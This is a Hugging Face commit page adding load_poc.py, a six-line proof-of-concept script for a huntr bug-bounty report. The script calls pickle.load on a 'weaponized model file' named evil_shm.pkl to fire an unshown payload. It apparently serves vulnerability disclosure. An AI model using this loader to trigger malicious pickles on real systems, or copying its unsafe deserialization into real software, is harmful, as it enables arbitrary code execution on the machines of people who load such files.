Upload load_poc.py with huggingface_hub
Browse files- load_poc.py +6 -0
load_poc.py
ADDED
|
@@ -0,0 +1,6 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import pickle
|
| 2 |
+
# Loader PoC - loads the weaponized model file and fires the payload on the default path.
|
| 3 |
+
# Reproduction for huntr: run with the real library's default load path.
|
| 4 |
+
with open(r"evil_shm.pkl", "rb") as f:
|
| 5 |
+
pickle.load(f) # fires the payload
|
| 6 |
+
print("loaded - payload fired")
|